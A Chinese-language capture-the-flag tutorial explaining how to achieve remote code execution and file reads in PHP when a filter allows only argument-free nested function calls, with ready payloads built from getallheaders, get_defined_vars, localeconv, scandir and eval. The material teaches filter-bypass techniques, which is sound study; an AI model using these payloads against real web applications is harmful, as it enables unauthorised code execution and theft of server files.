php无参数函数利用
1.我们先看一道题目
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数
由 题目中的正则我们可以发现,我们无法写参数进去,只能用 a(b(c())) 这种方式进行rce,这题过滤的是中文 的 ()
所以不要多想。(出题人的小技巧,哈哈)
介绍无参数函数绕过所需要利用的函数
方法1:getenv()
查阅php手册,有非常多的超全局变量
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
我们可以使用$_ENV
,对应函数为getenv()
虽然getenv()
可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题
这里可以使用方法:
array_rand()
array_rand() 方法用于从一个数组中随机( 伪随机 )取出一个或者多个单元 , 并返回随机条目的一个或者多个键
但这样只能获得数组的键 , 可以通过 array_flip() 函数获取数组的值
array_flip()
该函数用于交换数组中的值和键 , 返回一个 键 与 值 相互交换后的数组
getenv()
, array_rand()
, array_flip()
加上全局变量$_ENV
这三个函数配套使用 , 可以爆破出数组中需要的内容 .
方法2:getallheaders()
getallheaders()
end()
eval(end(getallheaders())) //获取http请求头中最后一个参数的值,并执行
同样的有类似的函数
接下来开始演示 很奇怪的是 Host 在数组的最后一个位置,好像是倒着来的
所以 pos() 返回的应该是当前数组的第一个,也就是 phpinfo()
这样我们就拿到了自定义的 HTTP Header 字段, 并且该字段可以被我们自由使用 , 比如通过 eval()
getallheders用法小结
添加一个Header为c: phpinfo();
,根据位置选择合适的payload:
- 添加在Header在第一个:
payload:code=eval(pos(getallheaders()));
(pos()可以换为current(). 如果在第二个可以使用next()) - 添加在Header在最后一个:
payload:code=eval(end(getallheaders()));
- 不知道位置:
配合array_rand()
,array_flip()
构造payload进行爆破:
payload:eval(array_rand(array_flip(getallheaders())));
方法3:localeconv()
scandir()
:
scandir('.')
能够返回当前目录的文件列表的数组,那么怎么取出文件名和读取文件呢,可以使用end()
和readfile()
:
但是还需要构造函数scandir('.')
中的参数.
,这里有一个localeconv()
函数:
其中数组的第一个元素就是.
, 所以用 pos 或者 current
但是我们不知道 flag.php的位置所以我们还需要利用我们最开始讲的两个函数
?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));
方法4:get_defined_vars()
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
和getallheaders()利用类似,但是不止apache, ngnix和其他的也可以用
函数返回的内容:
array(4) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(1) {
["code"]=>
string(29) "var_dump(get_defined_vars());"
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}
利用$_GET
url:http://127.0.0.1/ctf/boringcode/rce.php?test=phpinfo();
post:code=eval(end(current(get_defined_vars())));
方法5:直接遍历目录
可以尝试直接读取本地文件 , 其中最大的问题就是如何切换目录来遍历目录 .
1. getcwd() : 获取当前工作目录
2. scandir() : 查看当前目录下的内容
3. dirname() : 跳转上级目录
4. 5. readfile() : 读取文件
[
当然 , 使用该方法读取文件的局限性很大 , 比如只能从当前目录递归遍历到根目录 , 而无法读取其他的目录的内容 . 基本上用处不太大~
常用playpoad
读文件:
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))
最后:所有利用到的函数总结
getcwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
other: array_flip可以替换为array_reverse
readfile可以替换为show_source 和 highlight_flie